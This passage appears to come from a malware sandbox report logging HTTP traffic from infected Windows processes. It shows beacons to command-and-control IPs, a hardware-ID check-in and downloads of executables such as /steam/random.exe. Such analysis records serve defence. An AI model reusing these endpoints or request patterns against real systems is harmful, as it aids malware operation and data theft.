Nov 11, 2024 14:33:20.588421106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:20.588430882 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:20.588443041 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:20.588454008 CET	948	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:20.588493109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:20.588506937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:20.588519096 CET	1236	IN	Data Raw: 16 10 a5 74 96 2c fa 11 2b 4b 33 48 6f 27 f7 06 86 a9 fa 4b 2c 37 e9 99 f2 fb e6 70 5b ec f1 23 30 0a 56 3a 63 64 df 67 20 f9 d3 b3 2e f4 f7 85 cb 5f e2 2e 99 fd fc 57 af f3 f2 c5 0d df 3c 70 0a 21 fa 9e 62 41 00 76 43 10 c8 5a 2c 71 dd 46 27 04 Data Ascii: t,+K3Ho'K,7p[#0V:cdg ._.W<p!bAvCZ,qF'$tJ6>qIArVbP'E\s,c!{*s+.o@OI.n_-fIH(APrm$O=1g. .\C6<B{n$Sm%D`k
Nov 11, 2024 14:33:20.588530064 CET	636	IN	Data Raw: 6d 1e 6a e3 c6 f8 d6 04 04 eb d0 06 fe 38 25 62 5d 7b 6c 63 3e 1b 31 d6 fc 1d 21 38 4c a0 78 ed 75 38 36 14 8f 20 d2 f4 0b 21 72 ae ef 6d e7 25 68 91 f5 03 53 d9 32 bc 1e 2f e7 8d ff b8 23 da ce 2c 3b 71 f1 37 36 83 64 48 b6 a4 c8 c0 20 08 78 37 Data Ascii: mj8%b]{lc>1!8Lxu86 !rm%hS2/#,;q76dH x77k\e4im;<?\%K>s67{0SS/3%~(T9qK1bNlz8mKsB1A\y66N +,HEYE3 d12M4
Nov 11, 2024 14:33:20.588541985 CET	1236	IN	Data Raw: b7 57 0c 12 b9 d1 5d 54 80 cd e6 d5 35 51 23 29 15 78 20 5a 5d 41 2f 0f fe f5 d0 27 45 a0 c0 02 72 3d 4c 13 82 0f a3 c1 44 1d e8 06 ac 3b d1 52 51 50 a1 ff 18 cf e1 f4 12 06 cf 2d 56 e8 3c a7 29 61 22 1f 33 db 0b a4 3b 10 23 31 14 7c 2e 45 8f 62 Data Ascii: W]T5Q#)x Z]A/'Er=LD;RQP-V<)a"3;#1\|.EbR%,O&V`!s!?fobLF-ON<B]e39LR:)I;bN}'3y*GX@g Ht#1K9q,&GqT(3o/l)\KvA@^bvA
Nov 11, 2024 14:33:20.588654041 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:19 GMT Content-Type: application/octet-stream Content-Length: 2834432 Last-Modified: Mon, 11 Nov 2024 12:50:46 GMT Connection: keep-alive ETag: "6731fda6-2b4000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 a8 cd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@vtoiigyj**:@nofiliyx ++@.taggant@+"+@
Nov 11, 2024 14:33:20.589144945 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:19 GMT Content-Type: application/octet-stream Content-Length: 2834432 Last-Modified: Mon, 11 Nov 2024 12:50:46 GMT Connection: keep-alive ETag: "6731fda6-2b4000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 a8 cd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@vtoiigyj**:@nofiliyx ++@.taggant@+"+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49950	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:23.054138899 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 35 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005543001&unit=246122658369
Nov 11, 2024 14:33:23.693886042 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49973	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:25.663156986 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 14:33:26.307766914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49991	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:27.819483042 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 11, 2024 14:33:28.463259935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50009	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:30.115888119 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 14:33:30.754051924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50029	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:32.393996954 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 11, 2024 14:33:33.034611940 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50036	185.215.113.206	80	7436	C:\Users\user\AppData\Local\Temp\1005541001\971dbb906d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:33.266778946 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 14:33:33.908504009 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:33:33.911276102 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 31 45 35 34 38 36 37 45 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="hwid"461E54867E713604296297------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="build"mars------EBGDAAKJJDAAKFHJKJKF--
Nov 11, 2024 14:33:34.113668919 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50048	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:34.663708925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 14:33:35.306154013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50054	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:36.820029974 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 11, 2024 14:33:37.463366032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50056	185.215.113.16	80	5924	C:\Users\user\AppData\Local\Temp\1005540001\580f9a92c2.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:38.797823906 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 11, 2024 14:33:39.534765959 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:39 GMT Content-Type: application/octet-stream Content-Length: 1792512 Last-Modified: Mon, 11 Nov 2024 13:28:47 GMT Connection: keep-alive ETag: "6732068f-1b5a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 69 00 00 04 00 00 a1 16 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"h@ i@M$a$ $b@.rsrc $r@.idata $r@ `*$t@flqmrefc Ov@pvhoknzuh4@.taggant0h"8@
Nov 11, 2024 14:33:39.534785032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:39.534797907 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:39.534815073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 11, 2024 14:33:39.534827948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: "5x;u2
Nov 11, 2024 14:33:39.534840107 CET	424	IN	Data Raw: 11 3e 63 78 c0 3b 89 4c cf 5e b2 5f bf 26 1e 66 15 3b f0 11 a6 b6 f2 c6 50 2b e3 43 01 6a 73 06 2a 00 85 5f dc 29 51 a8 f6 ab ee 27 da 7d 76 85 36 0e fc 16 77 55 4c f8 67 a4 7a 50 71 34 e5 40 34 a2 c4 ee 26 89 9c c0 dc 24 5c 5a 03 4d 73 18 67 da Data Ascii: >cx;L^_&f;P+Cjs*_)Q'}v6wULgzPq4@4&$\ZMsg3HYz61E{ZWO~rfY0gy6N$u6-_,)p)l;heqFRE<B,Rz{\H0@Yt6ACc:{gLZrK+PwIC2Ys
Nov 11, 2024 14:33:39.534847021 CET	1236	IN	Data Raw: aa 3a e6 1f ee 18 f9 44 47 f7 89 e5 f8 32 6f 42 82 76 39 e7 b5 79 00 4c 6d c7 24 5c 09 46 8d 39 74 64 40 42 bd 79 b5 03 0f 0a 71 c5 0c 64 c8 89 2a 6f 9d 2f 48 a5 12 c7 ff 49 c8 56 0c 2b 85 83 08 a5 15 08 f3 4e fe af 23 23 a5 47 55 6b 7f 7d b9 3f Data Ascii: :DG2oBv9yLm$\F9td@Byqd*o/HIV+N##GUk}?#F[6@BjVzaY;1.Sd\@!8fABd5\|.ZA2h{V/W[fk)=7/L^l/$De32.o$Z0K"!.bs7</6
Nov 11, 2024 14:33:39.534878016 CET	1236	IN	Data Raw: 73 d3 ac 04 67 2a 45 9b 13 2e 61 a5 0d 26 72 a3 e5 2e 38 43 5d 4a ba 20 90 77 7c b5 32 2e 5c 3a 24 9d fb e1 2d 54 ac 03 5f f3 aa a3 f3 93 7f 03 68 a3 b1 35 b1 46 b9 6c 37 ae 96 8a 56 a4 39 5b 36 44 eb af 13 25 41 1d 20 c6 e0 a7 13 25 1b 24 29 8e Data Ascii: sgE.a&r.8C]J w\|2.\:$-T_h5Fl7V9[6D%A %$)_kjVOx@r[Uv35Bg_\|vvG~5yG{V{b'DpCvkDI'AuK:"BgFV!P%xrr!4g\|~
Nov 11, 2024 14:33:39.534893990 CET	424	IN	Data Raw: d0 6b 87 f4 11 35 7d df 35 5e fa 7b ba 6b 7f 36 c5 38 92 63 f9 6e fb c4 a4 74 7f 84 9f f4 f5 4c 45 43 8d c0 03 bc 9d 16 52 c3 87 a3 f9 ae 12 79 75 2b 91 39 71 c3 87 bf f9 aa 5e 46 5f 34 76 2b 8a 2a 87 db 33 4a ff 58 49 84 f8 eb 02 e6 79 7f 92 4e Data Ascii: k5}5^{k68cntLECRyu+9q^F_4v+3JXIyN<BN3U5;pl0SRUMBSdT2BTIbC,fBx*FLv;6W-r'xfuD\fuS\38Dd}8;=VCxT]`C@q;u}g
Nov 11, 2024 14:33:39.534905910 CET	1236	IN	Data Raw: 65 2a c9 d2 3a 27 cf eb f9 38 39 78 c5 44 fa 5b 78 66 80 b7 44 2a 8a 1b 34 be fa 57 61 78 bb 6b e9 38 79 43 16 aa ad bf 81 7c 05 0e 03 4a 96 5b 2d 38 93 5f 7f 64 b5 7f 31 4a c1 49 33 7e 82 77 7c 4d 9f d0 29 f2 87 b3 75 72 95 5f 09 ac f5 e8 7c 3b Data Ascii: e:'89xD[xfD4Waxk8yC\|J[-8_d1JI3~w\|M)ur_\|;,3=!]OR]BGDZHu-U2yw>\Ev8,*3NWDx8yzu8)VQAD;6bavIK\|FXZVUiLJI3btuuuJu3,8BuJuBL3
Nov 11, 2024 14:33:39.534919024 CET	1236	IN	Data Raw: 5b 47 11 8c 07 65 09 56 79 64 be 67 ff 9c 79 49 c1 71 d9 bd 81 59 07 3e c6 02 88 43 e5 ac 99 a4 06 43 3a b8 f9 57 bf 4b a2 4a 19 76 1d 2d 7d 5d 4a 57 7a 35 0a 5a f3 a4 e3 2d 96 4b 01 ee 87 54 45 5a 93 c0 33 fe c9 55 19 92 87 75 79 4a 59 8f 1d e8 Data Ascii: [GeVydgyIqY>CC:WKJv-}]JWz5Z-KTEZ3UuyJY\|VyIdMUIrW=DuhTZi3bu;'sI68ur,H2gxIyCI5teI2y\|x;!L&Cv1c}?\|uJ{VIR*aUY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50057	185.215.113.43	80	7924	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:33:39.101757050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 14:33:39.749974012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 13:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	50058	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
